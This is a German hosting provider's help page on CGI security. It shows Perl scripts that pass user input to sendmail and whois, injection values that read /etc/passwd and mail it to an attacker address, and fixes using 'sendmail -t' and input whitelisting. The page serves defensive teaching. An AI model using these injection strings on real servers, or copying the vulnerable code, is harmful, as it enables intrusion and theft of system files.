|
CGI Sicherheitsaspekte
Ein allgemeines Problem mit freien CGIs ist, dass diese
potentielle Sicherheitslücken enthalten können,
die von fremden Personen missbraucht werden können.
So könnte ein Potentieller Angreifer ein Skript
dazu bringen, Shell-Kommandos zur Ausführung zu
bringen. Alle Kommandos werden mit den Rechten ausgeführt,
die Sie auf dem Server haben. Das Problem liegt in der
Schreibweise des Programms und nicht in der Sicherheit
des Servers.
| Wir möchten Sie eindringlich
bitten, von Dritten bezogende Skripts einer eingehenden
Prüfung zu unterziehen. |
Ein besonderes Augenmerk sollten Sie auf die Abschnitte
eines Skriptes legen, in denen ein Datei-Handle zu einem
anderen ausführbaren Programm, wie einem Mailprogramm
geöffnet wird. Sobald die Datei-Handles mit vom
User eingegebenen Parametern bzw. Daten arbeiten sollten
Sie sicherstellen, dass diese Daten vor einer Verwendung
im Skript geprüft und für unschädlich
befunden wurden.
Verwundbarkeiten
Sie verwenden z.B. ein Skript, welches vom Nutzer eingegebene
Daten als eMail verpackt und an einen Nutzer versendet.
Das sieht dann vielleicht wie folgt aus:
open (MAIL, "|/bin/sendmail
$user_supplied_data{'recipient'}");
print MAIL "To: $user_supplied_data{'recipient'}\n";
print MAIL "From: $user_supplied_data{'email_address'}\n";
.
.
.
close(MAIL);
Der verwendete Code kann für eine Attacke mißbraucht
werden. Durch die Verwendung eines Eingabewertes für
den recipient (Empfänger)wie den Folgenden ist
es möglich, die Passwortdatei des Servers zu lesen:
some@email.address; cat /etc/passwd | mail attacker@email.address
oder
some@email.address && mail attacker@email.address
< /etc/passwd
Der einfachste Weg, einen solchen Angriff zu vermeiden
ist, vom Nutzer übergebene Daten von solchen Eröffnungskommandos
fernzuhalten. Das Programm Sendmail verwendet einen
nützlichen Parameter, "-t", welches sendmail
anweist, die Empfängerdaten wie to, bc, und bcc
zwingend aus dem Mitteilungs-Header zu lesen. Anstelle
von:
open (MAIL, "|/bin/sendmail $user_supplied_data{'recipient'}");
verwenden Sie
open (MAIL, "|/bin/sendmail -t");
Ein anderer möglicher Angriffspunkt kann entstehen,
wenn ein Skript externe Programme ausführt. Verwenden
Sie z.B. ein Skript, welches für einen vom Nutzer
übergebenen Domainnamen die Verfügbarkeit
mittels whois prüft, so könnte dieses Skript
eine Zeile wie diese enthalten:
open (WHOIS, "/bin/whois $user_supplied_data{'domain_name'}
|");
Der verwendete Code kann für eine Attacke mißbraucht
werden. Dieses kann durch die Verwendung des folgenden
Wertes für domain_name erreicht werden:
domain.name; cat /etc/passwd | mail attacker@email.address
oder
domain.name && mail attacker@email.address
< /etc/passwd
Abfangen und Prüfung
der Eingaben
Der beste Weg, diese Angriffe abzuwehren, ist den Code
einer Prüfung zu unterziehen. Die Überprüfung
der eingegebenrn Werte vor Ausführung könnte
alle nicht notwendigen Zeichen eleminieren. So würde
es im obigen Beispiel sehr sinnvoll sein, die Variable
domain_name gegen eine Auswahl von zulässigen Zeichen
zu prüfen. Dieses kann mit ein paar Zeilen Perl-Code
realisiert werden:
if ($user_supplied_data{'domain_name'} =~ /[^A-Za-z0-9\.\-]/)
{
print "Content-type: text/plain\n\n";
print "Uh... you entered an invalid domain name.";
exit(0);
}
open (WHOIS, "/bin/whois $user_supplied_data{'domain_name'}
|");
.
.
.
close(MAIL);
Alle in unserer CGI-Library bereitgestellten Skripts
verwenden derartige Prüfungsmethoden. Wir können
allerdings keine Garantie für die Sicherheit dieser
Skripts übernehmen. Mögliche Probleme wurden
geprüft und teilweise korrigiert.
Andere Quellen
Weitere Informationen über Sicherheitsaspekte von
CGI-Programmen inklusive Beispielen für besondere
Programmiertechniken finden Sie unter folgenden URLs:
|